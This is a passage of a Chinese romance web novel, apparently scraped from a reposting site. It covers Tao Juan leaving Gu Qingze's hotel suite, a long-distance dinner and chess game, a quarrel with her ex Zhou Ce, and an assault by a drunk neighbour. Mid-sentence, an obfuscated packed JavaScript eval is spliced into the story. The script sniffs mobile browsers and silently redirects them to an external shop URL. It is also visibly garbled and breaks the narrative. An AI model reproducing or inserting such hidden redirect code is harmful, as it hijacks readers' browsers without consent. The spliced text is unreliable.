陶涓在这一刻似乎明白了和顾清泽重逢那天,在她家里,她为什么会时不时感到不自在。 她抬头,以一种前所未有的视角审视他。 他不仅是长大了。 她不着痕迹地移开目光,注视着他背后墙壁上挂的装饰画,重新接上被意外发现所打断的语句,替换内容,“我当时……我想,你会不再怕黑,不再怕安静……不,你已经不怕了。嗯,对,就是这样。在曹艺萱家,蛇鼠一窝的时候,你也没有怕!” 顾清泽先是高兴,他好像从陶涓的话里触摸到了什么潜藏的文本,可是雀跃的心随即又沉下去,“周测……大概不会怕任何东西吧?” “周测当然也有他怕的东西!”陶涓轻声笑,然后细数,“他其实很怕泡在福尔马林药水里的标本,还有昆虫的复眼和腿,蝴蝶和蛾子翅膀上的鳞粉……” 她又笑一声,“怎么好像我们在背后说人坏话啊?” 顾清泽也笑了。 33.第一次约会 这天晚上顾清泽睡得很好。 可陶涓又辗转反侧。 和顾清泽重逢之后,她和他相处时总会突然有种异样感。 这异样感在今晚突然放大,让她不能再视而不见。 她很想跟好闺蜜聊聊,可曹艺萱这阵子昼夜颠倒赶夜戏,忙得很。 她终于还是没忍住给曹艺萱发了个微信:你什么时候能回来呀? 没想到曹艺萱秒回:怎么?想我了? 还配个贱贱的眨眼表情。 陶涓回:聊五毛钱的! 曹艺萱立刻打过来,“怎么了宝?出什么事了?” 陶涓说没事,“就是想你了。想让你快点回来。我明天下午到你家看看,要是田田把她那摊破烂搬走了,我就先收拾个行李箱住进去。” “怎么,顾清泽给你气受了?” “没有。” “那你怎么急着搬?他女朋友还是暧昧对象上门挑衅了?” “没有。他没女朋友。”陶涓说完,才觉得不寻常,“……他怎么一直没女朋友呀?” “呃……那他有男朋友么?” 陶涓仔细想想,“我觉得不像。”不然在波士顿和摩纳哥的泳池派对不会只有漂亮女孩参加。 “这样啊。嗯……虽然可能性很低,但也不是百分百不可能,所以我大胆推测,顾公子他,不行!” “噗——”陶涓怪笑,“这个可能也排除吧!” 曹艺萱语气八卦起来,“为什么你能排除这个可能?你见过呀!” 陶涓还真见过,“以前一起坐绿皮火车去山区送温暖,他睡中铺我睡上铺,早上我去上厕所,看见他支帐篷了!” 曹艺萱嘻嘻贼笑几声,“什么规模的啊?是挨饿德那种荒野求生小帐篷,还是成吉思汗的大帐?” 陶涓掩面,“这话题怎么歪成这样!” 曹艺萱猥琐地嘿嘿笑,“往左边歪还是往右边歪?” 陶涓也忍不住笑了,拿自己这个污污的闺蜜没办法,“行了行了,认真点、专业点好不好?” “好好好,认真!”曹艺萱把话题绕回来,但也没完全绕回来,“可能只是我们这些圈外人不知道他和谁交往过。他和他表哥章公子可不一样,非常低调。” “那倒也是。” “搞不好人家其实早就有准备商业联姻的未婚妻了,不过大家默认自己玩自己的,互相尊重,互不打扰,只在重要场合一起出现拍拍照,再算准生理期同房生几个继承人……” “噫——好恶心!我起了一身鸡皮疙瘩!”陶涓用力摩擦自己手臂大声求饶,“别说了!别说了!” “你看,你这种人呢,是有恋爱洁癖,你完全接受不了没有感情的婚姻、性,所以你才那么反感相亲,”曹艺萱真的正经起来,“我有时候想,要是你遇到楚航的时机不是家里安排的相亲,是工作上,或者在其他场合,你和他会不会擦出火花,终成眷侣?如果你和周测这烂人不是在校园里相遇,而是毕业以后给安排相亲认识的,你会不会对他不屑一顾,一眼看穿他所有的缺点?” 陶涓第一次认真思考,得出结论,“这两种情况都非常有可能!” 曹艺萱叹息,“唉,这就是了。爱情,时机是最重要的。” 陶涓猛地警惕起来,曹艺萱可不是悲春伤秋的性子,“喂,你是不是喜欢上什么不该动心的人了?” 论喜欢烂人,陶涓是倔强青铜,曹艺萱应该是钻石段位,她和她的渣男前男友陆扬分分合合多少次了,每次分手理由都不一样。 曹艺萱嘻嘻哈哈的把话题又歪回去,“有没有可能,顾公子跟你一样是有这种洁癖的人?” 不等陶涓思考,她又发散思维了,压低声音怪笑,“也可能他不是有精神洁癖,是童子军不再野营了,帐篷也支不起来了,不得不洁身自好了!” 陶涓一阵无语,“……你怎么就跟帐篷耗上了?” 曹艺萱振振有词,“这可不是我瞎说的,好多科学研究表明,男性25岁以后机能就会全面下降!要不怎么说男的过了25岁之后你跟他躺一张床上也只能盖着棉被聊天了呢?” “还有这种说法?” “是啊,你想想你跟周测,是不是也这样?” 陶涓无语。 还真没法替周测辩护。 可能是太忙,太累,如果排班连着几个夜班,两人的作息就会像有时差,虽然住在一起,有时一周都见不了几次面,后来为了互不打扰睡眠,干脆一人一个房间。 曹艺萱有次来做客,看到惊得下巴落在地上,说他们提前过上中年夫妇的生活了,不像情侣更像室友。她还偷偷问,质量还行吗? 质量。 嗯……该怎么评价? 周测是个外科医生。有灵巧又有力的手指和精确且丰富的人体解剖知识。 但渐渐的,也许是为了节省时间,也许是觉得不再需要耐心了,也许只是他身心疲倦,周测的风格逐渐演变成一套公式,高效,精准,如手术刀走线。 可这件事不应该是最细腻最敏感的吗?不是应该心甘情愿浪费全部时间的吗? 为什么她会有种躺在手术台上的错觉? 到了分手前一两年,她每次都觉得这个过程像是在投币机买果汁,投入两枚硬币,听到硬币叮当落下,机器在幕后运转,一罐果汁轰隆一声落下,取出来,打开拉环,噗呲——碳酸气泡喷出。 她长久的沉默让曹艺萱担心,终于把跑了八百里远的话题拉回来,“宝,你为什么这么着急想搬出来啊?是顾清泽做什么让你不舒服的事了吗?” 陶涓闷闷的,“那倒没有。”说实话,和他同住这几天,她挺快乐的。也渐渐找到了某种安稳的规律。可是…… “我就是觉得,和一个男的一起住着,不太自在。” “那就搬呗!”曹艺萱安慰她,“我这个戏应该五月底能拍完,到时候我们去度假!” “好。” “摸摸。” “啾咪——” “我要上戏了!” “加油!” 陶涓一整晚没睡好,第二天早上眼下又挂着两片淡淡青色,脸色也很苍白,顾清泽见她这样子很担心,“你下午什么时候去曹艺萱那儿?我陪你去。” 她本想拒绝,他又说,“没准还有幸存的小老鼠,饿了几天终于敢出来觅食了,刚好被你遇到。” 她一听改了主意,“大概四点吧。” “我来接你。” “好。” 顾清泽出门之后,陶涓才想起,她可以叫上保安,可是……如果那天陪她去曹艺萱家的是保安,她会让人家抱着她逃出来吗? 她认真推演了一下,觉得不会。她会经历人生最漫长的几分钟,在痛苦和惊恐中煎熬,最终鼓起勇气能跳下茶几独自逃生。 毕竟没听说过有人因为家里进了蛇或老鼠被吓死或者被困住直至饿死的。 到了下午,顾清泽准时来了,他自己开车。 看到陶涓背着电脑包,还拉了个大行李箱,他怔住,然后走过去接过她手里的箱子,“怎么回事?” “如果田田收拾好了,我今天晚上就先住下,然后慢慢把东西搬过去。”陶涓想好了,她这么大个人,不能总被小老鼠吓得借住在别人的酒店房间里。太矫情了。 顾清泽知道她要搬走,也接受了,但没想到会这么快这么突然。 他放好行李箱,坐回车里,又愣了一会儿才打开导航。 一路上两人没怎么说话。 陶涓不明白自己为什么会有微微的负疚感,顾清泽更是心乱如麻。 他很想问问章秀钟在这种情形下会怎么做,怎么做才能留住她。 但是章秀钟给的建议,很可能是在他看来非常丢人的。比如,直接跪地哀求,最多找个借口,说自己害怕惊恐症再次发作,软磨硬泡。 他做不出这样的事。 他偷偷看她一眼,却刚好撞上她的目光,陶涓看起来有些担忧,似乎想跟他说什么,但她又转过头,说了几句不相干的话,吐槽曹艺萱家附近的超市卖的水果又贵又不新鲜。 田田总算做了一回人。 听说陶涓要回来,她早上又请专业保洁去打扫了一次,花瓶里插了一大束鲜花,冰箱也给填满了,还有一盒巴斯克蛋糕。 顾清泽看到整个屋子井井有条,至于小老鼠,更是一个也没见到,他挑不出来一点毛病,帮陶涓安装好工作设备,稍微移动了一些书房的家具后,只得掩饰住怏怏离去。 陶涓六点有线上会议,结束时刚好七点半,物业管家发微信,说有她的外卖。 管家送来的是一份晚餐,半岛酒店的餐盒,几样清淡的菜,一小碗皮蛋瘦肉粥。 这一定是顾清泽。 她拍照发给他:谢谢。我要吃了! 又问他:你吃晚饭了么? 他很快也发来一张照片,好像是在参加什么宴会,又或是在某个西餐厅,面前放了一叠盘子,两边各站着一溜刀叉,杯子也有好几个,餐巾还戴着银环:秀钟请我吃饭。 他又写:已经坐下半小时了,前菜还没上来,倒喝了好几杯开胃酒。 好几杯?开胃酒? 她好奇,是同一种酒吗? 顾清泽又连续发来四张照片,她只认得其中一种,是意大利著名的柠檬餐前酒。 她去冰箱看了看,找了瓶苹果酒打来,带着果香味的气泡酒,和清淡的菜肴还挺搭,餐盒里也有米饭,粥留着明早吃。 那边顾清泽也终于等到了前菜,他正要拍照发给她,却收到她发来的照片:这个是我的“前菜”。 这顿饭陶涓是自己吃的,可并不觉得寂寞,隔空共同进餐还挺有趣。 顾清泽那边到了吃甜品的环节,陶涓切了块田田送的巴斯克蛋糕,拍照,刚发送,就收到一张提拉米苏的照片。 顾清泽又说:还没结束。 很快,他桌上又出现一杯酒:这是消化酒。 陶涓到冰箱找了找,只好切了片柠檬放进高脚杯里,加了点温水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307302|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,摆的美美拍照发过去。 他问:这是什么? 她回:柠檬味的凉白开。 发完自己对着手机屏幕傻笑,她觉得顾清泽肯定也在笑。 他确实在笑。 章秀钟带顾清泽出来吃饭时这小子还闷闷不乐,看看这会儿,笑得春意荡漾。 “陶小姐给你发的什么照片呀,让你笑成这样!” 顾清泽转过手机,章秀钟不得其解,就是一杯水啊!这两人有什么暗号吗?这是某种暗示吗? 他郁闷地叫侍者埋单,“我怎么觉得这不是我在请你吃饭,是你在跟别人约会?” 顾清泽目光从手机上移开,“约会?” “嗯,约会!一男一女——或者什么性别组合,总之,两个人,一起吃饭,或者喝点饮料,就叫约会!”章秀钟瞥顾清泽,“大惊小怪。” 饭后陶涓又做了会儿工作,先查查几个兼职的进度,再逐一整合,不知不觉已经十点,她一边收尾,一边告诉自己,工作是永远做不完的,咱现在已经是自己的老板了,停止压榨自己,先去吃药! 吃了药,她打开手机,顾清泽像有感应似的突然发来一条消息:你吃药了吗? 陶涓拍照展示水杯和药盒:刚吃完。 发出后习惯性发了个小猫咪乖乖点头的动图。 顾清泽那边好一会儿才回复了一个摸摸小猫头的表情。 陶涓又笑了,她猜他刚才一定是在疯狂浏览寻找合适的动图。他从来不发表情包或者动图,也对文字聊天不能理解且深恶痛绝,明明电话一分钟就能说清楚的事为什么要一来一回打半小时字说? 很快他又发来一张照片,他坐在棋盘前,手指拿起一枚黑色骑士:来一局? 来就来! 两人隔空对战,棋步发成文字,每隔一会儿顾清泽还会拍张照片。 这样下棋有个好处,可以看消息发送时间来计时。 棋局快结束时顾清泽频频超时,最后只得认输。 陶涓非常开心,正要跟顾清泽说几句显示自己风度的话,曹艺萱发来语音,问她什么情况,“田田说请阿姨做了专业清洁,怎么样?” “很好很好!” 她又问:“我还给她一个清单,让她把冰箱填满,她照做了没有?” “照做了!田田还给我送了束花,很漂亮,还有蛋糕。” 曹艺萱这才满意,“这次就饶了她吧。你干嘛呢?是不是要睡了?怎么听着这么兴奋?” 陶涓嘿嘿笑,“我刚下棋赢了!” “哎?”曹艺萱咳嗽一声,压低声音,“把免提关了!” 陶涓拿起手机疑惑地看了一眼,关掉免提,手机贴在耳朵边,也压低声音:“什么事?” 曹艺萱的声音里有压抑不住的激动:“怎么回事?他跟你一起搬来了?哇——夜深人静,孤男寡女,啧啧啧……” “停!停止你猥琐的想象。” 陶涓解释了隔空局棋是怎么下的,曹艺萱又啧啧啧,“这世上还有比你俩更geeky更nerdy的一对儿吗?你俩哪怕去什么线上棋室也好一点。” 陶涓不以为然,“这不一样吗?还有,这哪里就geeky又nerdy了?你以前和陆扬还有那个谁,还有那个谁谁——你们没有同处一个物理空间的时候不也会双排玩荣耀还是什么游戏吗?这跟我刚才做的有什么本质区别?” 曹艺萱无言以对,陶涓说的好像也没错,她不再纠结王者荣耀和国际象棋的不同,嘱咐陶涓早点睡,她要上夜戏了,“今天拍完,我的夜戏就全搞定了!” 陶涓跟她拜拜,再看顾清泽的对话框,他发来一个“?” 陶涓回复:跟曹艺萱语音。 他回:哦。早点睡吧。 她随手回个OK。 她洗漱完,正在涂面霜,手机又亮了一下,打开,顾清泽发了个小猫咪盖被子的动图。 陶涓笑了笑,没再回复。 顾清泽刚才该不会是在大量添加表情包吧? 她躺在床上,不知道是因为换了环境,还是睡前下棋太兴奋了,怎么都睡不着。 她拿起手机,想问问顾清泽睡了没,点开和他的对话,犹豫一下又按掉手机。 过了一会儿,她打开手机,她觉得顾清泽好像什么时候换了头像图片,大学的时候顾清泽的微信头像是他名字的三个字母,蓝底白色,被她吐槽说像警情公告,现在果然换了,是黑白棋盘。 点开图片仔细一看,是刚才那局棋,他的黑色王后放在棋盘正中。 陶涓一笑,输入:新头像不错。 点发送之前又犹豫一下,删除,按灭手机。 她翻了个身,又按亮手机打开微信,快速翻看他们的聊天记录。 翻到那张他拿棋子的照片,她停住了。黑色的棋子是哑光的,代表骑士的马头被夹在素白修长的手指之间,青色的血管在他手背上微微凸出,像起伏的山脉,蜿蜒的河流。 她呆呆看了几眼,再次按灭手机。 34.超大肥章 第二天中午,陶涓带上快要做好的模拟应用和一些资料去了趟安真医院。 她和申悦明约好今天见面,帮忙看看新应用。 两人在职工食堂碰面,陶涓给申悦明提了一兜子能量棒和坚果零食,“夜班的时候吃。” 申悦明痛快接住,“刚好我们科的要吃完了。” 陶涓早料到她会和同事分享,又从被包里掏出一袋沙琪玛,“这个是我专门给你买的。” 申悦明接过就打开一包放嘴里,“谢谢啦!就你还记得我喜欢这个,我爸妈老说这个不健康,不给我买,唉,他们哪知道啊,我这几年真的不比从前,上个大夜班没有甜食脑子就转不动,跟僵尸似的。” 她认真听完陶涓讲解新应用的用途,再看嘉嘉的照片和CT扫描模拟的手术效果,和上一次手术前后的照片作对比,最后看模拟的手术程序3D预演,“效果真的很好。更自然了。” 她是行家,陶涓听她这么讲,心终于放下了。如果一切顺利,应该会不负嘉嘉所托。 “至少面部整形这一块,你的新应用比方舟现在的模拟效果要更好,尤其手术3D预演和导航,都更方便。”申悦明又叹口气,“方舟前天又派来人调试,可惜……”她摇摇头。 显然方舟这次调试也不成功。 陶涓想到自己和罗莹大刘他们辛辛苦苦做的应用落得这个样子,一阵揪心。 申悦明又问:“你这版新应用叫什么?” 陶涓有点不好意思,“暂时叫良医肖恩。” 这名字是跟曹艺萱聊天时胡乱起的,她觉得陶涓做这个应用的能力拥有和美剧《良医》里的主角肖恩一样的能力,能将病人的需求和生理解剖可视化,还能进行手术的3D预演。 申悦明鼓掌:“名字不错!很贴切。不过,会有版权纠纷吧?” “这个我跟律师聊过,她说只要不注册商标,不用在性能的宣传、解释上,私下叫什么都没问题。” 现在只是帮人给已有的应用打补丁,但就在刚才,陶涓下了决心,她要多拉几个人,自己做应用,跟方舟抢客户。 两人正闲聊,申悦明忽然向陶涓背后望去,陶涓回过头,是周测。他匆匆走来,还穿着白大褂。 陶涓又立刻回头看申悦明,只见她不由自主微笑,看周测的眼神和当年没有分别,不由暗暗叹息。 申悦明上辈子是造了什么孽啊——从高中到现在——整整十二年,比她迷恋周测的时间还要多一倍。 和周测分手后那天晚上,她正在家里收拾打包,忽然有人敲门。 是申悦明。 她气喘吁吁,头发在深秋的夜里被汗黏在额头,两颊红扑扑的,双眼亮得吓人,进门后一把抓住陶涓手腕,“你——真跟周测分手了?” 得到肯定的答案后,她恍惚着乱走了几步,笑得开心极了,完全不加掩饰。 那一刻,陶涓也和此刻一样,心中充满惊讶、怜惜和不平,这么优秀的申悦明,怎么被周测迷成这样? 后来,曹艺萱告诉她,每个人有每个人的劫数,每个人有每个人的修行。 申悦明只是没有对周测祛魅。 当她真正接触到真实的,冷酷的,自私的周测,才有可能破除这份迷恋和憧憬。 但这也不能全怪申悦明。就算看清了周测的真实,用最客观的,甚至带着挑剔的眼光去看,陶涓还是得承认,他确实赏心悦目,只是走过来而已,就让周围的人不自觉都看向他,这些人还都是他的同事,不知和他共处多久了。 啧啧啧,谁说恶魔一定要青面獠牙长着角呢? 这风度翩翩的恶魔走过来,不打招呼就坐下,但又不让人讨厌,稍微寒暄几句,他对申悦明说:“我想跟陶涓说几句话。” 申悦明立刻起身,“那你们聊,我刚好得去接班了。”她提着陶涓送的零食走了。 陶涓以为周测是要问她最近病情怎么样,就像这阵子他偶尔联系时问的那些,答案都准备好了,没想到周测目光如电,在她脸上扫了几眼,问:“你跟顾清泽住在半岛酒店?” 陶涓一下愣住了。 紧接着,她感到一团火从胸口直窜到鼻尖。 她还没说什么,周测竟然皱眉,惊讶地说:“竟然是真的?”他的目光再次在她脸上扫了几下,质问道:“你怎么……能这样?你怎么能跟那种人——”他没再说下去。可是他的眼神已经把震惊、鄙夷、指责……甚至还有微微的恶心表达得非常充分了。 陶涓心里那股怒火一下熄灭。 她忽然感到很疲惫,自己怎么会喜欢这样一个人喜欢了那么久?她刚才还在心中评判、同情申悦明呢,呵呵,最应该反省的是她自己。 她冷静地收拾桌上的物品,“张琳告诉你的?没错,我是和他住在酒店。” 陶涓猜对了。 张琳听说她今天来医院找申悦明,瞅了个空“无意”间告诉周测,前几天在高档酒店的游泳池遇到了陶涓——她气色不错,说是和朋友一起来做spa,不过刷的却是酒店的房卡。 周测听到酒店是半岛就想明白怎么回事,急匆匆赶过来堵陶涓。 “你以前——你以前不是这样的!”看到陶涓就这么坦然承认了,并且毫无羞愧之意,周测再次大感震惊,“天哪,你现在和那种女人有什么区别?” “这样?这样是指什么?拜金?淫\荡?那种女人又指什么?高级妓\女?交际花?gold digger?哦,这几个说法都很老套,新近的说法是什么?捞女?”陶涓背好电脑包,站起来俯视着周测,“你问我原因了吗?呵,算了,已经不重要了!况且,你又是谁?你有什么立场评判我?” 她转身就走,快步走出食堂,从门口转出时余光扫到周测,他还坐在那里,一动不动。 陶涓坐上出租车后,还能感到自己的心脏“嘭嘭”“嘭嘭”跳得非常用力,像是在替她发泄愤怒。 她迷茫地看着车窗外的建筑,难过地闭上眼睛。 原来周测根本不了解她。更别提什么信任了。 手机突然震动几下,是顾清泽,她犹豫一下,还是按下通话,他问:“在医院办完事了?” “嗯。” “能叫到车吗?” 陶涓慢吞吞地呼了口气才回答:“已经坐上了。这时候又不是交通高峰,怎么会叫不到呢?” 她觉得自己的语气已经恢复平静,可顾清泽还是感到一些不对劲,他不停追问:“发生什么事了吗?程序出bug了?申悦明看出来什么瑕疵了?出了问题也没关系,我今晚没事,可以帮你看看……” 陶涓忽然鼻子一酸,委屈像潮水瞬间淹没她,她艰难地吞掉噎在喉咙里的那股酸楚,强迫自己咧着嘴微笑,“没有!一切都很顺利,演示挺成功,申悦明也评价不错。我就是……就是有点累了。” 从前在方舟业务培训时,老师教过,跟人电话交流时要做出微笑的表情,表情肌的变化会给声音带来变化,这样通话方即使看不到你,也能感受到,对话就能更放松。 他半信半疑,“哦……那回家先休息一会儿吧,你想吃什么?我待会儿帮你定?” “没事,冰箱里还好多菜呢,我今天自己做点吃的。”她挂断通话,咬住下巴里的肉,眼泪在眼眶里又转了两圈就憋回去了。 回到曹艺萱家,乘电梯时陶涓在明亮如镜的电梯门上看到自己哭丧着脸,不由摇头。 她腾出拎资料包的手捏捏脸颊,不要再为周测这个渣渣浪费一秒钟时间!加油陶涓,你做得到的! 电梯门打开,她正要走去开门,突然楼梯间的门“砰”一声被推开,一个男人冲过来一把抱住她—— 陶涓的时间在这一瞬间流速变慢了许多倍。 她先是吓了一大跳,手里的文件包差点掉在地上——然后,她感到那个男人喷着酒气的脸往她脖子凑—— 她的脑子宕机了:我怎么会被偷袭?这可是物业费一个月上千块的高档小区啊!24小时有保安巡逻外卖都由物业管家代收的那种—— 再接着,她的大脑启动了应急模式,她发出声量惊人的尖叫,肾上腺素也疯狂飙升,使出了在B站跟陈鹤皋老师教学视频瞎学的疯狗拳——可惜没有一拳击中! 但是尖叫附带的魔法攻击起作用了,那醉汉松开她,陶涓趁着这机会拎起资料包狠狠砸向他—— “哎唷!” 击中了! 撩阴腿连击! “啊——” 双击! 啊其实没完全击中,踢到他膝盖了! 趁醉汉痛叫,陶涓向楼梯间猛冲,曹艺萱家在四楼,只要从楼梯跑到一楼大堂就没事了! “别跑——” 醉汉紧跟在她身后追来。 陶涓心跳快得随时能从嘴里跳出来,拉开楼梯间的门时不小心扭了一下脚踝。 “你别跑!” 那醉汉跑得也很快,声音好像就在她脖子后面—— 陶涓肩膀被用力一抓,差点跌倒,醉汉抓住她电脑包的背带了! 她一耸肩,挣脱另一边背带,也不要电脑了,飞快冲下楼梯,一溜烟往下跑,最后几节台阶几乎是直接飞跳下来的,落地时脚底板被震得发麻,连滚带爬推开楼梯门冲向大堂,“救命——” 一个人正站在大堂等电梯,回过头,“陶涓?” 顾清泽! 陶涓扑到他身上,全身哆嗦,眼泪和汗一起流出来,她抹了把脸,回过头,那个醉汉没有跟来。 她颠三倒四把发生的事告诉顾清泽,紧紧抓住他手臂,“我的电脑——还有资料……” 他按铃叫来保安和物业管家,让管家陪着陶涓,他和保安进了楼梯间顺楼梯上去,陶涓的电脑包不在楼梯上,被放在曹艺萱家门口了,跟资料包一起。 顾清泽提着两个包下来,陶涓已经恢复平静。 他们去监控室看监控视频,画面上一个男人歪歪扭扭提着陶涓的电脑包走到曹艺萱家门口,放下包后又捡起洒在地上的资料,收进包里放好,揉了揉膝盖乘电梯走了。 保安主任调画面,“这是六楼的业主。” 陶涓按捺住要骂脏话的冲动,“我已经知道这是谁了。” 陆扬。 曹艺萱那个阴魂不散的渣男前男友。 陆扬这个人,在陶涓眼里可谓活宝。 说他是纨绔吧,他也有一份能养活自己的正经工作。 说他是正经人吧,他又有好多纨绔的坏毛病。 当初跟曹艺萱好的时候那是真甜蜜,真好,要不陆扬怎么也在这买了套房子呢?就是想多腻歪在一起。 好了一年多,两人因为性格不合第一次分手,曹艺萱肝肠寸断,正在气头上难受呢,陆扬求复合,她拒绝了。 没几天她又后悔了去找他,结果这人渣和别人去普吉岛玩了,贴脸亲亲的肉麻照还被女方发朋友圈,曹艺萱认为陆扬是劈腿,陆扬却觉得自己很无辜,明明是你说分手的啊,明明是你拒绝复合的啊…… 简直像《老友记》里的剧情。 这种把别人当成他们play的一环的事后来又发生了几次,陶涓也不再劝了。 每个人都有每个人的修行。 妨碍他人修行是要担因果的。 这可不今天就报应在她陶涓身上了? 陆扬这次也很无辜:“大姨子,我真不是要吓你!我更不敢有一丝猥亵你的心思呀!”他两手合十,低头朝陶涓拜一拜,求饶:“你可千万别跟萱萱说!这真的是个大乌龙!你信我一次吧!求你了……” 他的解释是,两人又吵架了。(嗯,多新鲜呐!) 从春节前冷战到现在。 可是前两天曹艺萱突然把他拉黑了,竟然连田田也拉黑他,连个传话的人都没了!(大姨子陶涓是在他们上次闹腾时就拉黑他了。) 他出差回来听说曹艺萱回家了,就守在楼梯间等她,想跟她解释,又喝了点酒,醉眼朦胧的没认清人就跑出来了。 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陶涓看看时间,“不用。”一小时后会议就要开始了。从下周开始李唯安的宝宝随时可能出生,今天的会议要最后确定应急方案,重新分配工作量,她无论如何都要参加。 回到酒店后顾清泽让陶涓先在书房坐下,“你指挥我就行。”他从自己书房搬来电脑键盘和各种设备,按她的习惯连接好。 陶涓连上自己的备份硬盘,重新设定好,顾清泽拿了杯菊花茶给她,“我还做了青瓜水煮蛋的三明治,你想吃一块吗?” 她这时才觉得有点饿了,“好!” 会议八点半才结束,陶涓修改好下周的工作安排,终于可以靠在椅背上喘口气了,她连续深呼吸几次,心脏还是跳动得又快又不规律。 顾清泽敲敲门,“我能进来吗?” 她闭着眼睛转椅子,“进来!” 顾清泽看她这有气无力的样子,急忙走近,半蹲下打量她,“我们还是去一趟医院吧。” 陶涓有点犹豫,他又说:“我已经安排好了。” 顾清泽安排的是一家私立医院,填好表格后很快就见到医生。 医生的诊断倒还好,没什么大碍,只是受了惊吓。不过也嘱咐,千万不要再受惊吓,受刺激,尤其不要剧烈运动,还要多休息。 这位医生开药的风格和安真医院的医生也很一致,给了帮助睡眠的药,再加上两样中成药,归脾丸和酸枣仁汤片。 回去的路上,陶涓靠在座椅上,觉得自己又捡回一条小命,要是没有顾清泽,光是今天晚上开会就够麻烦的了,她是可以到太平用电脑,但时间非常紧张。 这个时候她才想到:“你怎么会来曹艺萱家?” 顾清泽这时没开车,和她一起坐在后座,但他目视前方,“啊,就是……”他停顿几秒钟,“我那时候正巧没事,就想开车出来闲逛一会儿。” 这谎话说的也太明显了。 陶涓不觉笑了,低声说:“谢谢你。” 这晚陶涓睡下后接到曹艺萱的视频通话,令她痛苦万分的夜戏终于拍完了!很快她就能回北市了! 她兴奋地说了几句才意识到,“哎?这背景不对啊?”她歪着头,突然低呼,“啊!你怎么又搬回去了?”紧接着,她眼睛一眯——嘿嘿? “停!停下你猥琐的想象!”陶涓想起自己摔坏的电脑和吓得现在还时不时乱蹦乱跳的心脏,又来气了,她把蠢货陆扬搞的事告诉曹艺萱,“艾玛,萱子,你给姐个实话吧,你俩这次分手是真的吗?要是你俩还有可能,我就把陆扬加回来,他要是再搞什么‘惊喜’至少能提前跟我打个招呼。” 她是半开玩笑说的,可曹艺萱却罕见的严肃。 陶涓“哎唷”一声,压低声音,“你——你这死丫头有新欢了!对吧?喜欢上剧组里的同事了?” 见曹艺萱默认,陶涓追问,“谁啊?”她想不起来这次跟曹艺萱演对手戏的男演员都有谁,有时候觉得他们穿上古装都长差不多。 曹艺萱说了个名字,陶涓一听,“哦。”竟然是男主角。 这人不止剧里面CP不是曹艺萱,之前还有两对大热CP。两家CP粉还打过架,闹挺大,不然陶涓一个没有充任何平台会员的人怎么知道。 曹艺萱倒挺轻松的,“有CP好呀,就没人注意我了!就算被狗仔拍到,也更容易澄清。” 不过,陆扬确实是个麻烦。 她没想到他会采取比以往更激进的行动。 曹艺萱想了想,“我待会儿找个靠谱的房产中介,给你找房吧。”陆扬要是知道她是认真跟别人谈了,一定会又闹出幺蛾子。她是不怕他,陶涓这时受不起惊吓。 陶涓一想也是,其实就算没陆扬这事,她和曹艺萱作息规律完全不同,住在一起也未必方便。何况曹艺萱现在又有新恋情了,万一要和新男友在家约会,她要留下当电灯泡吗? 第二天早上她跟顾清泽说起要找房子,他立刻又摆出臭脸,不过这次只一秒钟就换了表情,有点委屈又有点疑惑:“我不明白,你为什么要一再拒绝我的好意?你不想住在酒店,我也理解,不是每个人都觉得酒店更像家。” 他低着头想了想,“这样吧,我有几间空置的房子,你要是乐意,挑一间住吧。你要短租,又要四角俱全的,恐怕也不好找,我的反正都是现成的。” 话都说成这样了,陶涓觉得自己再拒绝就太矫情了。 唉,几天前她还觉得再继续和顾清泽住在酒店是矫情。 现在又觉得拒绝借住在他的空房子(还是之一)是矫情。 当成年人就是这样,难以把握分寸。 而且,和超有钱的朋友一起住在他的酒店套房还有可能被外人鄙视诋毁,那借住在人家的空房子,会不会也被人说拜金、捞女? 陶涓决定,管他们呢。 张琳、周测,这些人怎么想,怎么评判她,一点都不重要。 35.了断 顾清泽说的房子是一套顶楼loft公寓。 陶涓一听就摇头,“loft?两层的?不行不行。太大了,我会害怕。” “也是。我自己都不喜欢,安静得吓人。”他仿佛不在意,又建议,“我还真有一套小公寓,离太平也近。” 陶涓当然不会再挑剔。 傍晚他带她去看房子,陶涓才知道顾少爷口中小公寓也不算小,有一间客卧,主卧还有近十平方的浴室,在寸土寸金的市中心可谓奢侈。 站在窗口俯瞰CBD夜景,灯火璀璨,犹如星光。 可陶涓还是想念她的老房子。 窗外能看到梧桐树影,偶尔有麻雀卧在树枝上。 晚上她再次检验模拟应用,又和嘉嘉的主刀医生温医生聊了很久。 嘉嘉对模拟的效果很满意,温医生也认为手术成功率很高,她决定提前手术,因为她接的新商务要在新剧开拍前搞一次品牌直播。 只是为了更上镜那么一点点,把原本已经90分的颜值提高一两分,要躺两次手术台,还要靠止痛药熬过几周的恢复期,陶涓是不能理解这种牺牲的。 这难道不是一种虚荣吗? 她问嘉嘉,再提高点演技能不能取得同样的成就?这也太遭罪了。 不知道。嘉嘉是这么说的。她甚至不确定再做一次鼻整形就能取得到更多观众缘或者更多资源。 但她告诉陶涓,要是不再做一次鼻子,她以后肯定会后悔,觉得自己年轻的时候没全力以赴,不够拼。 陶涓只能尊重她的选择。 还是那句话,每个人来到这世间,都有自己的修行。旁人谁也替不了。 只能希望这次手术能让嘉嘉足够满意,会是她最后一次整容手术。 嘉嘉做手术那天是个阴天。 不过嘉嘉和她妈妈都很高兴,北市进入五月后天气很快就热起来,阴天好呀,下雨了气温就低,更利于术后修养。 陶涓也一大早跑去整形医院,她没想到所有人都挺开心,自己也不好显得忧心忡忡,努力弯起嘴角,跟嘉嘉说些鼓励的话。 嘉嘉被推进手术室前,陶涓握握她的手,不知道该说“加油”还是“好运”。 田田让陶涓先回去,手术要四个小时,嘉嘉出来后也不会立刻醒来。 回到酒店后陶涓忐忑不安,顾清泽劝她放松,“以后还有不知多少病人要用那套应用呢。” 她也知道他说得对,等嘉嘉手术出来,再输入术后的照片进行对比,验证模拟的成功率吧。 心思一放在工作上时间就过得飞快。 午休时才看到周测给她发过几条微信,还打了一次语音,他跟她道歉,问她能不能见一面。 也该做个了断了。 陶涓问他:什么时候? 